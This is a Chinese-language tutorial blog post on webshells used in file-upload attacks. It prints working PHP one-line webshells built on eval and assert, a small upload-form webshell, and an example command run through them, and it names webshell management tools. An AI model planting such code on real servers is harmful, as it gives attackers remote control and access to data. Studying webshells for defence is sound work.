首页 > 系统相关 >文件上传之WebShell

文件上传之WebShell

时间:2024-12-14 13:31:22浏览次数:6  
标签:WebShell 文件 网站 上传 木马 php 冰蝎 服务端

一.WebShell

1.基本概念

WebShell就是以asp、php、jsp等网页文件形式存在的一种命令执行境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,
得到一个命令执行环境,以达到控制网站服务器的目的。

2.WebShell的优点

WebShell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用WebShell一般不会在系统日志中留下记录,只会在网站的Web(比如apache的access.log)日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

二.病毒和木马

1.病毒

平时一般我们所说的病毒,指的是感染型病毒,是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。其具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。

  • 生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期
  • PS:与生物病毒有很多的相似的地方,比如说自我繁殖、互相传染以及激活再生等生物病毒特征等等。

2.木马

木马病毒源自古希腊特洛伊战争中著名的“木马计”而得名,木马是一种带有恶意性质的远程控制软件。它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。

所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。

所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。

三.WebShell的分类

WebShell根据编程语言可以分为php木马,asp木马,也有基于.NET的aspx木马和基于Java的jsp木马。根据文件大小,也可以分为大马、小马、一句话木马。

1.一句话木马

  • 主要特点:代码简短,通常只有一行代码,使用方便。

  • 客户端向服务端传递参数的三种方式:GET、POST、COOKIE

    • GET:<?php eval($_GET['a']);?>​
    • POST:<?php eval($_POST['a']);?>​
    • COOKIE:<?php assert($_COOKIE['a']);?>​
  • 一句话木马用 $_GET[''] 、 $_POST[''] 、 $_COOKIE[''] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令(执行命令:eval、assert等)。

    • PS:php代码用<?php开头,代码的结束需要加上分号(;),如果是纯php代码那么结尾的?>不加也可以。

2.小马

  • 主要特点:只包含文件上传功能,体积小。

    <?php
    @$temp = $_FILES['upload_file']['tmp_name'];
    @$file = basename($_FILES['upload_file']['name']);
    if(empty($file)){
    	echo "<form action='' method='POST'
    ENCTYPE='multipart/form-data'>\n";
    	echo "local file:<input type='file'
    name='upload_file'>\n";
    	echo "<input type='submit' value='Upload'>\n";
    	echo "</form>\n<pre>\n\n</pre>";
    }else{
    	if(move_uploaded_file($temp,$file)){
    		echo "successfully.<p>\n";
    	}else{
    		echo "unable to uplaod" . $file . ".<p>\n";
    		}
    }
    ?>
    

3.大马

  • 主要特点:体积大,包含很多功能,代码通常会进行加密隐藏。​

四.WebShell的连接

  • WebShell实际上与平常的网站文件一样,可以通过浏览器去进行访问(前提是被访问的网站存在该文件)​

    • 关键点在于传递的参数,通过a参数(a参数可以自定义,通过post.php这个一句话木马文件进行修改)向服务器传递system('whoami');​ ,效果等同于在命令提示符下执行 whoami​ 命令。

五.WebShell管理工具

攻击者在入侵网站时,通常要通过各种方式写入WebShell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。为了方便对这些WebShell进行管理,就诞生了各种各样的WebShell管理工具。

1.中国蚁剑

介绍:中国蚁剑是一款开源的网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

2.冰蝎

介绍:冰蝎通信过程中使用AES(高级加密算法,对称加密,微信小程序使用此种方法)进行加密,Java和.NET默认支持AES,php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情况动态选择,使得冰蝎更强大。

3.哥斯拉

介绍:护网期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥斯拉”。

标签:WebShell,文件,网站,上传,木马,php,冰蝎,服务端
From: https://blog.csdn.net/qq_37107430/article/details/144469649

相关文章

  • Linux csplit命令图文教程:将一个大文件拆分为多个较小的文件/部分(附详细参数讲解及附
    Linuxcsplit命令csplit是一个Linux命令,可用于根据用户的要求将一个大文件拆分为多个较小的文件/部分。这些部分由上下文线确定。默认情况下,csplit将文件拆分为每个文件1000行,并为用户提供根据需要更改拆分行数的选项。输出分割文件的名称如“xx00”和“xx01”。csplit......
  • Z-BlogPHP 的配置文件在哪里?它包含哪些内容?
    Z-BlogPHP的配置文件位于 path/zb_users/c_option.php,其中 path 是你当前博客程序所放置的路径,例如 /home/wwwroot/你的域名/。这个配置文件记录了数据库连接信息等基础信息,是Z-BlogPHP正常运行的重要文件。以下是一些关键内容和说明:数据库连接信息:数据库主机:通常是 ......
  • VS内置QT插件,打开QT项目,直接用QT Designer打开ui文件闪退问题
    1.问题点概述VS内集成QT插件和环境下(本例子使用VS2015),创建或者打开QT项目,直接双击打开相关ui文件,几秒后会出现闪退问题,具体如下图所示。闪退后的弹窗报警2.解决方法1.右击ui文件,选择打开方式,在点击右侧“添加”按钮,如图:2.在弹出的添加程序窗口,点击程序那栏的右侧三点标......
  • [Ollydbg] 加密与解密-原版和吾爱版Ollydbg的下载及详细安装过程(附有下载文件)
      前言x64dbg、x32dbg和ollydbg的分析操作区别不大,这里分享Ollydbg的绿化版文件,需要x64dbg可以看[x64dbg]加密与解密-x32dbg和x64dbg的下载及详细安装过程(附有下载文件)_x32dbg下载-CSDN博客Ollydbg.zip链接:https://pan.quark.cn/s/c6e94d0b9d24打开链接可以看到有两......
  • Win11系统提示找不到WaaSAssessment.dll文件的解决办法
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个WaaSAssessment.dll文件(挑选合适的版本文件......
  • Win11系统提示找不到WaaSMedicSvc.dll文件的解决办法
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个WaaSMedicSvc.dll文件(挑选合适的版本文件)......
  • 【Hadoop框架】 生态组件之分布式文件系统 HDFS 常用命令
    一、HDFS集群的启动停止1.1单服务启动停止方式1.1.1单服务启动1.1.2单服务停止1.2多服务启动停止方式1.2.1多服务启动1.2.2多服务停止二、获取HDFS集群信息三、HDFS常用命令3.1查看HDFS帮助命令3.1.1查......
  • 解决oracle数据文件路径有回车故障---惜分飞
    联系:手机/微信(+8617813235971)QQ(107644445)标题:解决oracle数据文件路径有回车故障作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]最近遇到一个硬件恢复朋友的请求,oracle数据库文件恢复出来了,但是在linux上面启动的时候,有两个......
  • 在CodeBolcks+Windows API下的C++编程教程——给你的项目中添加头文件和菜单
    0.前言我想通过编写一个完整的游戏程序方式引导读者体验程序设计的全过程。我将采用多种方式编写具有相同效果的应用程序,并通过不同方式形成的代码和实现方法的对比来理解程序开发更深层的知识。了解我编写教程的思路,请参阅体现我最初想法的那篇文章中的“1.编程计划”:学习编程......
  • 如何用source和source结合cat << EOF 和EOF )实现template.txt模板文件变量的替换
    使用source和cat<<EOF来实现template.txt模板文件变量的替换,你可以按照以下步骤操作:创建 config.env 文件:包含变量定义。创建 template.txt 文件:包含模板内容。编写一个脚本:使用 source 导入变量,然后使用 cat<<EOF 和 EOF 读取模板文件并替换变量。下面......